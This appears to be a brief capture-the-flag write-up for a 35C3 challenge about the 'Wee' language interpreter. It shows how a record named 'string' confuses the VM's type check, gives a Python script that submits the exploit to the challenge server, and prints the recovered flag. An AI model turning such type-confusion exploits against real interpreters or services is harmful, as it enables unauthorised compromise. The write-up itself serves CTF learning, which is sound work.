Rating:
weeterpreter.ts:
```
externals.addFunction(
// Wee is statically typed. Finding a way to confuse the VM is impossible.
"assert_string",
[{name: "str", type: compiler.StringType}], compiler.StringType,
false,
(str: string) => typeof str == "string" ? "WEE is statically typed. Sorry, confusing the VM is impossible."
: flags.WEE_TOKEN
)
```
One of a possible solution is a "string" record:
```
record string
end
alert(assert_string(string()))
```
Full python code:
```
import json
import urllib2
data = {
'code': "record string\nend\nalert(assert_string(string()))"
}
req = urllib2.Request('http://35.207.189.79/wee/run')
req.add_header('Content-Type', 'application/json')
response = urllib2.urlopen(req, json.dumps(data))
the_page = response.read()
print the_page
```
The flag:
`35C3_WEE_IS_TINY_AND_SO_CONFU5ED`